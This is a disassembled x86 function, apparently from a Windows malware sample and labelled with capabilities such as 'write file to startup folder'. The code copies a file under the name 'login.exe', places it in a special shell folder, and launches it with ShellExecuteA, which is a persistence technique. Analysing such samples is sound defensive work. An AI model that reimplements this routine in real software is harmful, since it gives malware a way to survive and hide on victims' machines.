Function at 0x4045c9
Capabilities:
Copy file
Create process on windows
Get common file path
Get startup folder
Write file to startup folder

Disassembly:
mov eax, 0x405800
call fcn.004050a0
sub esp, 0x134
push ebx
push esi
mov esi, 0x409624
lea ecx, [ebp - 0x20]
push esi
call fcn.00404d7c
push 0x4094a4
xor ebx, ebx
push dword [ebp - 0x20]
mov dword [ebp - 4], ebx
call dword [sym.imp.MSVCRT.dll__mbscmp]
pop ecx
test eax, eax
pop ecx
jne 0x40460f
push 0x409640
lea ecx, [ebp - 0x20]
call sub.MFC42.DLL_CString::operator_1
push 0x409498
lea eax, [ebp - 0x24]
push esi
push eax
call sub.MFC42.DLL_operator_2
lea eax, [ebp - 0x18]
mov byte [ebp - 4], 1
push eax
call fcn.004048f1
pop ecx
lea eax, [ebp - 0x24]
mov byte [ebp - 4], 2
push eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x10]
push eax
call sub.MFC42.DLL_operator
push dword [ebp - 0x10]
mov byte [ebp - 4], 3
call fcn.004043c2
test al, al
pop ecx
jne 0x404692
push 0x409494
lea ecx, [ebp - 0x18]
call sub.MFC42.DLL_CString::operator_1
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x28]
push eax
call sub.MFC42.DLL_operator
push eax
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], 4
call sub.MFC42.DLL_CString::operator
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 3
call sub.MFC42.DLL_CString::CString
push dword [ebp - 0x10]
call fcn.004043c2
pop ecx
lea eax, [ebp - 0x10]
push str.login.exe
push eax
lea eax, [ebp - 0x14]
push eax
call sub.MFC42.DLL_operator_2
push ebx
mov byte [ebp - 4], 5
push dword [ebp - 0x14]
push dword [0x409620]
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push ebx
lea eax, [ebp - 0x140]
push 0x10
push eax
push ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [ebp - 0x140]
lea ecx, [ebp - 0x30]
push eax
call sub.MFC42.DLL_CString::CString_1
lea eax, [ebp - 0x30]
push 0x409484
push eax
lea eax, [ebp - 0x3c]
push eax
mov byte [ebp - 4], 6
call sub.MFC42.DLL_operator_2
push esi
push eax
lea eax, [ebp - 0x28]
mov byte [ebp - 4], 7
push eax
call sub.MFC42.DLL_operator
push 0x409474
push eax
lea eax, [ebp - 0x2c]
mov byte [ebp - 4], 8
push eax
call sub.MFC42.DLL_operator_2
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 0xb
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x3c]
mov byte [ebp - 4], 0xa
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x1c]
call sub.MFC42.DLL_CString::CString_3
push dword [0x40962c]
mov eax, dword [0x409624]
mov byte [ebp - 4], 0xc
push eax
push eax
lea eax, [ebp - 0x1c]
push 0x409448
push eax
call sub.MFC42.DLL_CString::Format
push dword [ebp - 0x1c]
push dword [ebp - 0x2c]
push dword [ebp - 0x10]
push ebx
push dword [ebp - 0x14]
call fcn.00404840
add esp, 0x28
lea eax, [ebp - 0x10]
mov ecx, 0x40961c
push eax
call sub.MFC42.DLL_CString::operator
push 0x5d4564
call fcn.00404494
call fcn.00404568
mov dword [esp], 0x409620
mov esi, 0x409444
lea eax, [ebp - 0x38]
push esi
push eax
call sub.MFC42.DLL_operator_1
push esi
push eax
lea eax, [ebp - 0x34]
mov byte [ebp - 4], 0xd
push eax
call sub.MFC42.DLL_operator_2
mov eax, dword [eax]
push 5
push dword [ebp - 0x10]
push eax
push dword [ebp - 0x14]
push str.open
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
lea ecx, [ebp - 0x34]
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x38]
mov byte [ebp - 4], 0xc
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 0xa
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 6
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 5
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 3
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], 2
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 1
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], bl
call sub.MFC42.DLL_CString::CString
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x20]
call sub.MFC42.DLL_CString::CString
mov ecx, dword [ebp - 0xc]
pop esi
mov al, 1
pop ebx
mov dword fs:[0], ecx
leave
ret